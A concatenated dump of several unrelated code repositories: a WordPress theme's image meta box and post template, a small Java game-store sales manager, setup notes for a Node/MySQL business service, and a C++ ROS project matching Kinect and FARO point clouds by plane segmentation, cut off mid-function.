// $(thisImage).css('width', '100%');
//console.log(custom_uploader.state().get('selection').toJSON());
$(thisImage).attr('height', '200');
$(thisImage).attr('src', attachment.url);
$(thisCaption).show();
$(thisUrl).val(attachment.url);
})
.open();
$(".th-image").attr("width", "30%");
$(".th-details").attr("width", "60%");
return false;
});
});
</script>
<table id="repeatable-fieldset-one" width="100%">
<thead>
<tr>
<th width="2%"></th>
<th class="th-image" width="0%"></th>
<th class="th-details" width="90%"></th>
<th width="2%"></th>
</tr>
</thead>
<tbody>
<?php
if ( $repeatable_fields ) :
foreach ( $repeatable_fields as $field ) {
?>
<tr>
<td><a class="sort" title="Drag this to sort"><img src="https://ecs7.tokopedia.net/microsite-production/donasi/images/ico-swap.png" alt="swap"></a></td>
<td>
<div class="img-container"><img class="uploaded_image"
src="<?php if ($field['url'] != '') echo esc_attr( $field['url'] ); else echo ''; ?>" height="200"></img>
</div>
<input class="caption" type="text" name="name[]"
value="<?php if($field['name'] != '') echo esc_attr( $field['name'] ); ?>"
placeholder="Caption this image (optional)"
/>
</td>
<td>
<input class="button btn upload_image_button" type="button" value="Upload Image" />
<input class="upload_image_url" type="text" size="36" name="url[]"
value="<?php if ($field['url'] != '') echo esc_attr( $field['url'] ); else echo 'http://'; ?>" readonly/>
</td>
<td><a class="button remove-row" href="#"><img src="https://ecs7.tokopedia.net/microsite-production/donasi/images/ico-trash.png" alt="trash"></a></td>
</tr>
<script type="text/javascript">
(function($) {
$(".th-image").attr("width", "30%");
$(".th-details").attr("width", "60%");
}(jQuery));
</script>
<?php
}
else :
// show a blank one
?>
<tr>
<td><a class="sort" title="Drag this to sort"><span class="glyphicon glyphicon-sort"></span></a></td>
<td><!--<input type="text" class="widefat" name="url[]" value="http://" /> -->
<div class="img-container"><img class="uploaded_image" src=""></img></div>
<input class="caption" hidden type="text" name="name[]" placeholder="Caption this image (optional)" />
</td>
<!--<td><input type="text" class="widefat" name="name[]" /></td>-->
<td>
<input class="button btn upload_image_button" type="button" value="Upload Image" />
<input class="upload_image_url" type="text" size="36" name="url[]" value="" readonly/>
</td>
<td><a class="button remove-row" href="#"><span class="glyphicon glyphicon-trash"></span></a></td>
</tr>
<?php endif; ?>
<!-- empty row template for jQuery -->
<tr class="empty-row screen-reader-text">
<td><a class="sort" title="Drag this to sort"><span class="glyphicon glyphicon-sort"></span></a></td>
<td><!-- <input type="text" class="widefat" name="url[]" value="http://" /> -->
<div class="img-container"><img class="uploaded_image" src=""></img></div>
<input class="caption" hidden type="text" name="name[]" placeholder="Caption this image (optional)" />
</td>
<!--<td><input type="text" class="widefat" name="name[]" /></td>-->
<td>
<input class="button btn upload_image_button" type="button" value="Upload Image" />
<input class="upload_image_url" type="text" size="36" name="url[]" value="" readonly/>
</td>
<td><a class="button remove-row" href="#"><span class="glyphicon glyphicon-trash"></span></a></td>
</tr>
</tbody>
</table>
<p><a id="add-row" class="button" href="#">Add another image</a>
<input type="submit" class="button btn btn-default metabox_submit" value="Save" />
</p>
<?php
}
function repeatable_meta_box_save($post_id) {
if ( ! isset( $_POST['repeatable_meta_box_nonce'] ) ||
! wp_verify_nonce( $_POST['repeatable_meta_box_nonce'], 'repeatable_meta_box_nonce' ) )
return;
if (defined('DOING_AUTOSAVE') && DOING_AUTOSAVE)
return;
if (!current_user_can('edit_post', $post_id))
return;
$old = get_post_meta($post_id, 'repeatable_fields', true);
$new = array();
$names = $_POST['name'];
$urls = $_POST['url'];
$count = count( $names );
for ( $i = 0; $i < $count; $i++ ) {
if ( $urls[$i] != '' && $urls[$i] != 'http://' ) :
$new[$i]['name'] = stripslashes( strip_tags( $names[$i] ) );
$new[$i]['url'] = stripslashes( $urls[$i] ); // and however you want to sanitize
//if ( $urls[$i] == 'http://' ) $new[$i]['url'] = ''; else
endif;
}
if ( !empty( $new ) && $new != $old )
update_post_meta( $post_id, 'repeatable_fields', $new );
elseif ( empty($new) && $old )
delete_post_meta( $post_id, 'repeatable_fields', $old );
}
add_action('save_post', __NAMESPACE__ . '\\repeatable_meta_box_save');<file_sep>/templates/content-single.php
<?php while (have_posts()) : the_post(); ?>
<article <?php post_class(); ?>>
<header>
<div class="post-thumbnail">
<?php the_post_thumbnail([620, 290], ['class' => 'post-thumbnail__img', 'title' => 'Feature image']); ?>
</div>
<h1 class="post-title"><?php the_title();?></h1>
</header>
<div class="post-content">
<div class="post-separator"></div>
<div class="post-detail clearfix">
<div class="post-detail-timestamp">
<?php echo human_time_diff( get_the_time('U'), current_time( 'timestamp' ) ) . ' ago'; ?> | <?php the_category( ', ' ); ?>
</div>
</div>
<?php the_content();?>
</div>
<footer>
<!-- Prev/Next Post -->
<div class="post-navigation clearfix">
<?php previous_post_link('<div class="previous-post pull-left">« %link</div>','Previous Post', TRUE); ?>
<?php next_post_link('<div class="previous-post pull-right">%link »</div>','Next Post', TRUE); ?>
</div>
</footer>
</article>
<?php endwhile; ?>
|
aab25f5ee1ad8ac0444c90ee5da210aebc9ba1b9
|
[
"JavaScript",
"PHP"
] | 13 |
PHP
|
afifkhaidir/sg-tkpd
|
a23b435131ced254d766123ae61a50d314514582
|
63897b8d7806492fc242d154292530e1e619bb0a
|
refs/heads/master
|
<file_sep>package Manager;
import Entities.Player;
import Entities.Product;
import Entities.User;
import Services.SalesService;
public class SalesManager implements SalesService {
@Override
public void buy(Player player, Product product) {
if (player.getBalance() < product.getPrice()) {
System.out.println("Unable to perform requested operation. Insufficient balance");
} else {
player.setBalance(player.getBalance() - product.getPrice());
System.out.println(player.getFullName() + " bought " + product.getName());
System.out.println("New Balance: " + player.getBalance());
}
}
}
<file_sep>package Services;
import Entities.User;
public interface UserCheckService {
boolean checkPlayer(User user);
}
<file_sep>package Manager;
import Entities.User;
import Services.UserService;
public class PlayerManager implements UserService {
PlayerCheckManager playerCheckManager;
public PlayerManager(PlayerCheckManager playerCheckManager) {
this.playerCheckManager = playerCheckManager;
}
@Override
public void addUser(User user) {
if (playerCheckManager.checkPlayer(user)) {
System.out.println("Player named " + user.getFullName() + " added");
} else {
System.out.println("Not a valid person");
}
}
@Override
public void delete(User user) {
System.out.println("Player named " + user.getFullName() + " deleted.");
}
@Override
public void update(User user) {
System.out.println("Player named " + user.getFullName() + " updated.");
}
}
|
1643061f5ab0c80247f3c66fc51ee528f6a028a8
|
[
"Java"
] | 3 |
Java
|
MHakanEkici/Gun4Odev3_GameMarket
|
d99739e9fea2deaf3ab5619e962eb830c8b77857
|
c83a182fe4820cb8bc08573e6027a64cf11b7155
|
refs/heads/master
|
<repo_name>mike-ct/bitcoinrb<file_sep>/spec/bitcoin/store/spv_chain_spec.rb
require 'spec_helper'
require 'tmpdir'
require 'fileutils'
describe Bitcoin::Store::SPVChain do
let (:chain) { create_test_chain }
after { chain.db.close }
describe '#find_entry_by_hash' do
subject { chain.find_entry_by_hash(target) }
let(:next_header) do
Bitcoin::BlockHeader.parse_from_payload(
'0100000043497fd7f826957108f4a30fd9cec3aeba79972084e90ead01ea3309' \
'00000000bac8b0fa927c0ac8234287e33c5f74d38d354820e24756ad709d7038' \
'fc5f31f020e7494dffff001d03e4b672'.htb
)
end
let(:target) {'06128e87be8b1b4dea47a7247d5528d2702c96826c7a648497e773b800000000' }
before do
chain.append_header(next_header)
end
it 'return correct ChainEntry' do
expect(subject.header).to eq next_header
expect(subject.height).to eq 1
end
context 'header is not stored' do
let(:target) {'0000000000000000000000000000000000000000000000000000000000000000' }
it { expect(subject).to be_nil }
end
end
describe '#append_header' do
subject { chain }
context 'correct header' do
it 'should store data' do
genesis = subject.latest_block
expect(genesis.height).to eq(0)
expect(genesis.header).to eq(Bitcoin.chain_params.genesis_block.header)
expect(subject.next_hash('43497fd7f826957108f4a30fd9cec3aeba79972084e90ead01ea330900000000')).to be nil
next_header = Bitcoin::BlockHeader.parse_from_payload('0100000043497fd7f826957108f4a30fd9cec3aeba79972084e90ead01ea330900000000bac8b0fa927c0ac8234287e33c5f74d38d354820e24756ad709d7038fc5f31f020e7494dffff001d03e4b672'.htb)
subject.append_header(next_header)
block = subject.latest_block
expect(block.height).to eq(1)
expect(block.header).to eq(next_header)
expect(subject.next_hash('43497fd7f826957108f4a30fd9cec3aeba79972084e90ead01ea330900000000')).to eq('06128e87be8b1b4dea47a7247d5528d2702c96826c7a648497e773b800000000')
end
end
context 'invalid header' do
it 'should raise error' do
# pow is invalid
next_header = Bitcoin::BlockHeader.parse_from_payload('0100000043497fd7f826957108f4a30fd9cec3aeba79972084e90ead01ea330900000000bac8b0fa927c0ac8234287e33c5f74d38d354820e24756ad709d7038fc5f31f020e7494dffff001d03e4b672'.htb)
next_header.nonce = 1
expect{subject.append_header(next_header)}.to raise_error(StandardError)
# previous hash mismatch
next_header = Bitcoin::BlockHeader.parse_from_payload('0100000006128e87be8b1b4dea47a7247d5528d2702c96826c7a648497e773b800000000e241352e3bec0a95a6217e10c3abb54adfa05abb12c126695595580fb92e222032e7494dffff001d00d23534'.htb)
expect{subject.append_header(next_header)}.to raise_error(StandardError)
end
end
context 'duplicate header' do
it 'should not raise error' do
# add block 1, 2
header1 = Bitcoin::BlockHeader.parse_from_payload('0100000043497fd7f826957108f4a30fd9cec3aeba79972084e90ead01ea330900000000bac8b0fa927c0ac8234287e33c5f74d38d354820e24756ad709d7038fc5f31f020e7494dffff001d03e4b672'.htb)
header2 = Bitcoin::BlockHeader.parse_from_payload('0100000006128e87be8b1b4dea47a7247d5528d2702c96826c7a648497e773b800000000e241352e3bec0a95a6217e10c3abb54adfa05abb12c126695595580fb92e222032e7494dffff001d00d23534'.htb)
subject.append_header(header1)
subject.append_header(header2)
# add duplicate header 1
expect{subject.append_header(header1)}.not_to raise_error
expect(subject.latest_block.header).to eq(header2)
end
end
end
end
|
67661c9aba5331fbf3889a485cf7dabd46ad8bdf
|
[
"Ruby"
] | 1 |
Ruby
|
mike-ct/bitcoinrb
|
39396e4c9815214d6b0ab694fa8326978a7f5438
|
4f5a23b6d564460b033854ac865001e6b485d339
|
refs/heads/master
|
<file_sep># Business Service
### Server-side setup
#### 1. Setup Environment Variables
1. Copy and save the ``` example.env ``` file in the env folder as ``` development.env ```.
2. Enter your desired ```APP_NAME``` (this will your mysql database name)
3. Replace the ```PORT``` with your desired port and enter the login credentials for your MySQL server (make sure it is running)
#### 2. Setup dependencies
1. Install dependencies by running the following command from the root directory:
```
$ npm install
```
#### 3. Setup database
1. Start a mySQL server:
```
$ mysql.server start
Starting mySQL
SUCCESS!
```
1. Sign into your mySQL server with in the terminal (if you do not know your password try not inputting a password):
```
$ mysql -u root -p
```
2. Create a database, make sure its name is the same as what you specified earlier as ```APP_NAME```. For more information, visit this [great tutorial](https://www.digitalocean.com/community/tutorials/a-basic-mysql-tutorial):
```
mysql> CREATE DATABASE APP_NAME;
```
3. Open up the database:
```
mysql> USE APP_NAME;
```
4. Create an account and specifiy privileges. Here, we will be creating an `DB_USER` account with the password `<PASSWORD>`, with a connection to `localhost` and all access to the database, `APP_NAME`. More information about users and privileges can be found [here](http://dev.mysql.com/doc/refman/5.7/en/adding-users.html "mysql Docs") and [here](https://www.digitalocean.com/community/tutorials/how-to-create-a-new-user-and-grant-permissions-in-mysql "Digital Ocean's How-to")
```
mysql> CREATE USER 'DB_USER'@'localhost' IDENTIFIED BY 'DB_PASSWORD';
mysql> GRANT ALL PRIVILEGES ON APP_NAME.* TO 'DB_USER'@'localhost';
```
To see privileges on the account you've just created:
```
mysql> SHOW GRANTS FOR 'DB_USER'@'localhost';
```
#### 4. Start server
1. Start the server by running the following command from the root directory:
```
$ npm start
```
2. Your server is now live at ```http://localhost:PORT```
### Seeding database
1. In the `development.env` file specific the path to the directory where the CSV data files are.
2. Change the file names on line 9 and 10 in `seed.js` to match the CSV data file names.
3. Run `seed.js` with the following command from `server/`:
```
$ node seed.js
```<file_sep># rice-business
rice business services
<file_sep>var BusinessDetail = require('./../models/BusinessDetailModel.js');
// var PreferenceController = require('./../controller/PreferenceController.js');
module.exports = {
getDetails: function (req, res) {
//assuming req.param looks like { business_id: this.props.business_id }
var queryObj = {
business_id: req.query.business_id
}
BusinessDetail.where(queryObj).fetchAll()
.then(function (foundDetail) {
res.status(200).send(foundDetail);
})
.catch(function (err) {
console.error('Error: Fetching '+ req.params.business_id + ' from db', err);
res.status(500).send(err);
});
},
_saveDetails: function (business_id, categoriesArr, neighborhoodsArr, shouldSend, res) {
var saveToDb = function (categories, neighborhoods, count) {
var type, value;
var numberOfCategories = categories.length
var numberOfNeighborhoods = neighborhoods.length;
if (count === numberOfNeighborhoods + numberOfCategories) {
if (shouldSend) {
res.status(201).send('Add Business sucessful!')
}
return;
}
if (count < numberOfCategories) {
type = 'category';
value = categories[count];
} else {
type = 'neighborhood';
value = neighborhoods[count - numberOfCategories];
}
var newDetail = {
business_id: business_id,
type: type,
value: value
};
new BusinessDetail(newDetail).save()
.then(function (saved) {
saveToDb(categoriesArr, neighborhoodsArr, ++count);
})
.catch(function (err) {
console.error('Error: Saving BusinessDetail to the database', err);
});
};
saveToDb(categoriesArr, neighborhoodsArr, 0);
}
};<file_sep>FROM node
RUN mkdir /src
RUN npm install nodemon -gq
WORKDIR /src
COPY . /src
RUN npm install -q
EXPOSE 3002
CMD npm run start_prod
|
c160c4690bbd463bf0317a279f249a6a05b18416
|
[
"Markdown",
"JavaScript",
"Dockerfile"
] | 4 |
Markdown
|
mashybuttons/rice-business
|
7db2d4984ae1c62ab6560a9be9825a6b23b2c941
|
25145392f719a52f50871f1755dbac7bb33cfbcc
|
refs/heads/master
|
<file_sep>
import cv2
import glob
for x in glob.glob('./*.jpg'):
img = cv2.imread(x)
h, w, c = img.shape
s = 600.0 / h
print(x, s)
if s < 1:
print(x)
h, w = int(h*s+0.5), int(w*s+0.5)
img = cv2.resize(img, (w,h))
cv2.imwrite(x, img)
<file_sep># sanmumould.github.io
|
5b462b03e852550be41a9bd0467bbb98faea2521
|
[
"Markdown",
"Python"
] | 2 |
Python
|
sanmumould/sanmumould.github.io
|
7664faec9f16ed2b409990076d0e274e6ce94c7d
|
d28d9b48dcef1e64bdf3543780c9099ed0f5b029
|
refs/heads/master
|
<repo_name>liuhang0727/lh_slam<file_sep>/include/common/common_headers.h
#ifndef COMMON_HEADERS_H
#define COMMON_HEADERS_H
// The headers that maybe used
// C++
#include <iostream>
#include <fstream>
#include <string>
#include <vector>
#include <utility> // pair
#include <map>
#include <unordered_map>
#include <set>
#include <unordered_set>
#include <list>
#include <deque>
#include <thread>
#include <mutex>
#include <math.h>
#include <numeric>
#include <time.h>
#include <stdlib.h>
#include <unistd.h>
// using namespace std;
// Eigen
#include <Eigen/Core>
#include <Eigen/Geometry>
// using namespace Eigen;
// PCL
#include <pcl/point_types.h>
#include <pcl/point_cloud.h>
#include <pcl/io/pcd_io.h>
#include <pcl/io/ply_io.h>
#include <pcl/common/common.h>
#include <pcl/filters/statistical_outlier_removal.h>
#include <pcl/filters/radius_outlier_removal.h>
#include <pcl/filters/voxel_grid.h>
#include <pcl/filters/approximate_voxel_grid.h>
#include <pcl/filters/extract_indices.h>
#include <pcl/features/normal_3d.h>
#include <pcl/features/normal_3d_omp.h>
#include <pcl/features/boundary.h>
#include <pcl/features/moment_of_inertia_estimation.h>
#include <pcl/sample_consensus/method_types.h>
#include <pcl/sample_consensus/model_types.h>
#include <pcl/segmentation/sac_segmentation.h>
#include <pcl/segmentation/extract_clusters.h>
#include <pcl/segmentation/progressive_morphological_filter.h>
#include <pcl/segmentation/region_growing.h>
#include <pcl/registration/transforms.h>
#include <pcl/kdtree/kdtree_flann.h>
#include <pcl_conversions/pcl_conversions.h>
typedef pcl::PointXYZRGBA PointA;
typedef pcl::PointXYZI PointI;
typedef pcl::PointCloud<PointA> CloudA;
typedef pcl::PointCloud<PointI> CloudI;
// using namespace pcl;
// OpenCV
#include <opencv2/opencv.hpp>
#include <opencv2/core/core.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <opencv2/highgui/highgui.hpp>
// feature detect in OpenCV3.x
#include <opencv2/features2d.hpp>
#include <opencv2/xfeatures2d.hpp>
#include <opencv2/xfeatures2d/nonfree.hpp>
// feature detect in OpenCV2.x
// #include <opencv2/nonfree/features2d.hpp>
// #include <opencv2/nonfree/nonfree.hpp>
// #include <opencv2/nonfree>
// using namespace cv;
//ROS
#include <ros/ros.h>
#include <nav_msgs/Odometry.h>
#include <sensor_msgs/PointCloud2.h>
#include <sensor_msgs/Image.h>
#include <sensor_msgs/image_encodings.h>
#include <image_transport/image_transport.h>
#include <cv_bridge/cv_bridge.h>
// using namespace ros;
// yaml
#include <yaml-cpp/yaml.h>
// liblas
#include <liblas/liblas.hpp>
#endif // COMMON_HEADERS_H
<file_sep>/node/odom_node.cpp
//
// Created by liuhang on 20190528.
//
#include "odom.h"
int main(int argc, char** argv)
{
ros::init(argc, argv, "odom");
ros::NodeHandle node;
ros::NodeHandle private_node("~");
odom od;
if(od.init(node, private_node))
{
ros::spin();
}
return 0;
}<file_sep>/node/faro_node.cpp
//
// Created by liuhang on 20190519.
//
#include "plane.h"
int main(int argc, char** argv)
{
CloudA::Ptr faro(new CloudA());
CloudA::Ptr pc(new CloudA());
std::cout<<"loading faro cloud ..."<<std::endl;
pcl::io::loadPCDFile<PointA>("/home/liuhang/Documents/data/faro/216_ds_0.1.pcd", *faro);
std::cout<<"faro cloud loaded"<<std::endl;
std::unordered_map<int, std::vector<Eigen::Vector4f> > gp;
plane p(faro);
p.process(pc, gp);
save_cloud("/home/liuhang/Documents/data/faro/plane.pcd", *pc);
//
Eigen::Vector4f params;
load_params("/home/liuhang/Documents/catkin_ws_kinect/src/lh_slam/params/ir.yaml", params);
return 0;
}<file_sep>/node/global_loc_node.cpp
//
// Created by liuhang on 20190528.
//
#include "global_loc.h"
int main(int argc, char** argv)
{
ros::init(argc, argv, "global_loc");
ros::NodeHandle node;
ros::NodeHandle private_node("~");
global_loc gl;
if(gl.init(node, private_node))
{
ros::spin();
}
return 0;
}<file_sep>/include/common/transform_utils.h
#ifndef TRANSFORM_UTILS_H
#define TRANSFORM_UTILS_H
#include "common_headers.h"
inline Eigen::Isometry3f getTransformYXZT(float tx, float ty, float tz,
float roll, float pitch, float yaw)
{
// Roll pitch and yaw in Radians
Eigen::Quaternionf q;
q = Eigen::AngleAxisf(pitch, Eigen::Vector3f::UnitY()) *
Eigen::AngleAxisf(roll, Eigen::Vector3f::UnitX()) *
Eigen::AngleAxisf(yaw, Eigen::Vector3f::UnitZ());
Eigen::Isometry3f t = Eigen::Isometry3f::Identity();
t.translate(Eigen::Vector3f(tx, ty, tz)); //translate
t.prerotate(q); //prerotate
return t;
}
#endif // TRANSFORM_UTILS_H<file_sep>/include/subimage_feature.h
//
// Created by liuhang on 19-5-3.
//
#ifndef SUBIMAGE_FEATURE_H
#define SUBIMAGE_FEATURE_H
#include "common/common_headers.h"
using namespace std;
using namespace cv;
void detect(cv::Ptr<cv::ORB> det, Mat image, int s, vector<KeyPoint> &kp)
{
kp.clear();
int rows = image.rows;
int cols = image.cols;
int row_tiles = ceil(1.0*rows/s);
int col_tiles = ceil(1.0*cols/s);
int remain_rows = rows % s;
int remain_cols = cols % s;
for(int i=0; i<row_tiles; i++)
{
for(int j=0; j<col_tiles; j++)
{
Mat sub_image;
vector<KeyPoint> sub_kp;
if(i != row_tiles-1)
{
if(j != col_tiles-1)
{
sub_image = image(Rect(j*s, i*s, s, s));
}
else
{
if(remain_cols != 0)
{ sub_image = image(Rect(j*s, i*s, remain_cols, s)); }
else
{ continue; }
}
}
else
{
if(j != col_tiles-1)
{
if(remain_rows != 0)
{ sub_image = image(Rect(j*s, i*s, s, remain_rows)); }
else
{ continue; }
}
else
{
if(remain_rows != 0 && remain_cols != 0)
{ sub_image = image(Rect(j*s, i*s, remain_cols, remain_rows)); }
else
{ continue; }
}
}
// cv::Ptr<cv::ORB> det = cv::ORB::create();
det->detect(sub_image, sub_kp);
for(int m=0; m<sub_kp.size(); m++)
{
KeyPoint p;
p = sub_kp[m];
p.pt.x = p.pt.x + j*s;
p.pt.y = p.pt.y + i*s;
kp.push_back(p);
}
}
}
}
#endif //SUBIMAGE_FEATURE_H
<file_sep>/src/global_loc.cpp
//
// Created by liuhang on 20190528.
//
#include "global_loc.h"
global_loc::global_loc()
:_kinect_cloud(new CloudA()), _pk_cloud(new CloudA()),
_faro_cloud(new CloudA()), _pf_cloud(new CloudA())
{
_if_rgb = false;
_if_depth = false;
_if_cloud = false;
}
global_loc::~global_loc()
{ }
// set the params, subscribe and publish msgs
bool global_loc::init(ros::NodeHandle &node, ros::NodeHandle &private_node)
{
// load params
private_node.getParam("skip_count", _skip_count);
private_node.getParam("faro_path", _faro_path);
private_node.getParam("cam_params_path", _cam_params_path);
_cam_params << 365.52542597, 364.17089950, 256.01281275, 209.60721677;
// TODO: why it cannot work in this file !!!
// load_params("/home/liuhang/Documents/catkin_ws_kinect/src/lh_slam/params/ir.yaml", _cam_params);
// subscribe and advertise msgs
_sub_rgb = node.subscribe<sensor_msgs::CompressedImage>
("/kinect2/sd/image_color_rect/compressed", 10, &global_loc::rgb_handler, this);
_sub_depth = node.subscribe<sensor_msgs::CompressedImage>
("/kinect2/sd/image_depth_rect/compressed", 10, &global_loc::depth_handler, this);
_sub_cloud = node.subscribe<sensor_msgs::PointCloud2>
("/kinect2/sd/points", 10, &global_loc::cloud_handler, this);
_pub_kinect_cloud = node.advertise<sensor_msgs::PointCloud2>("/init_cloud", 10);
_pub_pk_cloud = node.advertise<sensor_msgs::PointCloud2>("/plane_cloud", 10);
_pub_faro_cloud = node.advertise<sensor_msgs::PointCloud2>("/faro_cloud", 10);
// load faro map
load_faro();
// start the sub-thread
_sub_thread = std::thread(&global_loc::spin, this);
return true;
}
// the process of this node
void global_loc::spin()
{
// set the max process rate
ros::Rate rate(100);
// fall into the process loop
bool status = ros::ok();
while(status)
{
ros::spinOnce();
_mutex.lock();
process();
_mutex.unlock();
status = ros::ok();
rate.sleep();
}
}
// the process of this node
void global_loc::process()
{
// if there are no new data, return
if( !if_new_data() )
{ return; }
// set the msgs flag to false, prapare for next frame
reset();
// skip some frames to reduce compution
_msgs_index++;
if(_skip_count > 0)
{
if(_msgs_index % (_skip_count+1) != 1)
{ return; }
}
// pre-process for kinect cloud: creat cloud, delete noise, pre-transform
pre_process();
// plane segment for kinect cloud
std::cout<<"kinect plane params: "<<std::endl;
plane p(_kinect_cloud);
p.process(_pk_cloud, _kinect_params);
// plane match
plane_match();
// publish msgs
publish_cloud_msg<PointA>(_pub_kinect_cloud, _kinect_cloud, _rgb_time, "kinect2_ir_optical_frame");
publish_cloud_msg<PointA>(_pub_pk_cloud, _pk_cloud, _rgb_time, "kinect2_ir_optical_frame");
publish_cloud_msg<PointA>(_pub_faro_cloud, _faro_cloud, _rgb_time, "kinect2_ir_optical_frame");
std::cout<<"plane match complete !"<<std::endl;
}
// the recall handler of rgb msgs
inline void global_loc::rgb_handler(const sensor_msgs::CompressedImage::ConstPtr &rgb_msg)
{
_mutex.lock();
try
{
// bye, cv_bridge
// cv_bridge::CvImagePtr rgb_bridge = cv_bridge::toCvCopy(rgb_msg, "bgr8");
// _rgb_image = rgb_bridge->image.clone();
_rgb_time = rgb_msg->header.stamp;
_rgb_image = cv::imdecode(cv::Mat(rgb_msg->data), cv::ImreadModes::IMREAD_COLOR);
_if_rgb = true;
// std::cout<<"_rgb_time"<<_rgb_time<<std::endl;
}
catch(cv_bridge::Exception& e)
{
ROS_ERROR("cv_bridge exception: %s", e.what());
return;
}
_mutex.unlock();
}
// the recall handler of depth msgs
inline void global_loc::depth_handler(const sensor_msgs::CompressedImage::ConstPtr &depth_msg)
{
_mutex.lock();
try
{
// TODO: there are something wrong with this method
// cv_bridge::CvImagePtr depth_bridge = cv_bridge::toCvCopy(depth_msg, "16UC1");
// _depth_image = depth_bridge->image.clone();
_depth_time = depth_msg->header.stamp;
_depth_image = cv::imdecode(cv::Mat(depth_msg->data), cv::ImreadModes::IMREAD_ANYDEPTH);
_if_depth = true;
// std::cout<<"_depth_time"<<_depth_time<<std::endl<<std::endl;
}
catch(cv_bridge::Exception& e)
{
ROS_ERROR("cv_bridge exception: %s", e.what());
return;
}
_mutex.unlock();
}
inline void global_loc::cloud_handler(const sensor_msgs::PointCloud2::ConstPtr &cloud_msg)
{
_mutex.lock();
CloudA::Ptr temp_cloud(new CloudA());
_cloud_time = cloud_msg->header.stamp;
pcl::fromROSMsg(*cloud_msg, *temp_cloud);
_if_cloud = true;
// delete noise
delete_noise(temp_cloud, _kinect_cloud);
// transform z axis to up/down
Eigen::Isometry3f T = getTransformYXZT(0, 0, 0, -90.0/180.0*M_PI, 0.0/180.0*M_PI, 0.0/180.0*M_PI);
pcl::transformPointCloud(*_kinect_cloud, *_kinect_cloud, T.matrix());
Eigen::Isometry3f T1 = getTransformYXZT(0, 0, 0, 0.0/180.0*M_PI, 0.0/180.0*M_PI, -90.0/180.0*M_PI);
pcl::transformPointCloud(*_kinect_cloud, *_kinect_cloud, T1.matrix());
_mutex.unlock();
}
// ensure the all data are from the same frame, and each frame only be processed once
inline bool global_loc::if_new_data()
{
return _if_depth && _if_rgb; // && _if_cloud
}
// set the msgs flag to false, prapare for next frame
inline void global_loc::reset()
{
_if_depth = false;
_if_rgb = false;
_if_cloud = false;
}
// pre-process for kinect cloud: creat cloud, delete noise, pre-transform
inline void global_loc::pre_process()
{
// create cloud from rgb and depth image
CloudA::Ptr init_cloud(new CloudA());
create_cloud(_rgb_image, _depth_image, _cam_params, init_cloud);
// delete the noise in kinet cloud
delete_noise(init_cloud, _kinect_cloud);
// pre-transform
// transform z axis to up/down
Eigen::Isometry3f T0 = getTransformYXZT(0, 0, 0, -90.0/180.0*M_PI, 0.0/180.0*M_PI, 0.0/180.0*M_PI);
pcl::transformPointCloud(*_kinect_cloud, *_kinect_cloud, T0.matrix());
// TODO: this should be used in final method
Eigen::Isometry3f T1 = getTransformYXZT(0, 0, 0, 0.0/180.0*M_PI, 0.0/180.0*M_PI, -90.0/180.0*M_PI); // z -90
pcl::transformPointCloud(*_kinect_cloud, *_kinect_cloud, T1.matrix());
}
// load faro map data
void global_loc::load_faro()
{
// load data
pcl::io::loadPCDFile<PointA>(_faro_path, *_faro_cloud);
Eigen::Isometry3f T = getTransformYXZT(0, 0, 0, 0.0/180.0*M_PI, 0.0/180.0*M_PI, 20.0/180.0*M_PI);
pcl::transformPointCloud(*_faro_cloud, *_faro_cloud, T.matrix());
// plane segmentation
std::cout<<std::endl<<"faro plane params: "<<std::endl;
plane p(_faro_cloud);
p.process(_pf_cloud, _faro_params);
// build kd-tree
_faro_tree.setInputCloud(_faro_cloud);
}
// plane association between kinect and faro
bool global_loc::plane_match()
{
// scores of all potential matches
std::map<double, Eigen::Matrix4f> scores;
// ensure data is available in all three directions of faro and kinect
if(_faro_params[0].size()==0 || _faro_params[1].size()==0 || _faro_params[2].size()==0)
{
std::cout<<"The constraints in faro is not enough !!!!"<<std::endl;
std::cout<<_faro_params[0].size()<<" "<<_faro_params[1].size()<<" "<<_faro_params[2].size()<<std::endl;
return false;
}
if(_kinect_params[0].size()==0 || _kinect_params[1].size()==0 || _kinect_params[2].size()==0)
{
std::cout<<"The constraints in kinect is not enough !!!!"<<std::endl;
std::cout<<_kinect_params[0].size()<<" "<<_kinect_params[1].size()<<" "<<_kinect_params[2].size()<<std::endl;
return false;
}
// try to find the correct match between all possible combination
std::vector<std::pair<Eigen::Vector4f, Eigen::Vector4f> > matches(3);
for(int i=0; i<_faro_params[2].size(); i++)
{
// z
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_z(_kinect_params[2][0], _faro_params[2][i]);
matches[0] = match_z;
for(int j=0; j<_faro_params[0].size(); j++)
{
// x
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_x(_kinect_params[0][0], _faro_params[0][j]);
matches[1] = match_x;
for(int k=0; k<_faro_params[1].size(); k++)
{
// y
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_y(_kinect_params[1][0], _faro_params[1][k]);
matches[2] = match_y;
// solve
Eigen::Matrix4f T;
if( pose_solve(matches, T) )
{
// score
double s = score(T);
scores[s] = T;
}
}
}
// the relationship of kinect and faro in x, y directions are confused
for(int j=0; j<_faro_params[0].size(); j++)
{
// x
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_x(_kinect_params[1][0], _faro_params[0][j]);
matches[1] = match_x;
for(int k=0; k<_faro_params[1].size(); k++)
{
// y
std::pair<Eigen::Vector4f, Eigen::Vector4f> match_y(_kinect_params[0][0], _faro_params[1][k]);
matches[2] = match_y;
// solve
Eigen::Matrix4f T;
if( pose_solve(matches, T) )
{
// score
double s = score(T);
scores[s] = T;
}
}
}
}
// transform cloud
auto it = scores.begin();
Eigen::Matrix4f TT = it->second;
std::cout<<"TT: "<<std::endl<<TT.inverse()<<std::endl;
pcl::transformPointCloud(*_pk_cloud, *_pk_cloud, TT.inverse());
pcl::transformPointCloud(*_kinect_cloud, *_kinect_cloud, TT.inverse());
return true;
}
// solve pose
bool global_loc::pose_solve(const std::vector<std::pair<Eigen::Vector4f, Eigen::Vector4f> > matches, Eigen::Matrix4f &T)
{
// r
Eigen::Matrix3f w = Eigen::Matrix3f::Zero();
for(int i=0; i<matches.size(); i++)
{
Eigen::Vector4f k = matches[i].first;
Eigen::Vector4f f = matches[i].second;
w += Eigen::Vector3f(k[0], k[1], k[2]) * Eigen::Vector3f(f[0], f[1], f[2]).transpose();
}
Eigen::JacobiSVD<Eigen::Matrix3f> svd(w, Eigen::ComputeFullU|Eigen::ComputeFullV);
Eigen::Matrix3f u = svd.matrixU();
Eigen::Matrix3f v = svd.matrixV();
Eigen::Matrix3f r = u*(v.transpose());
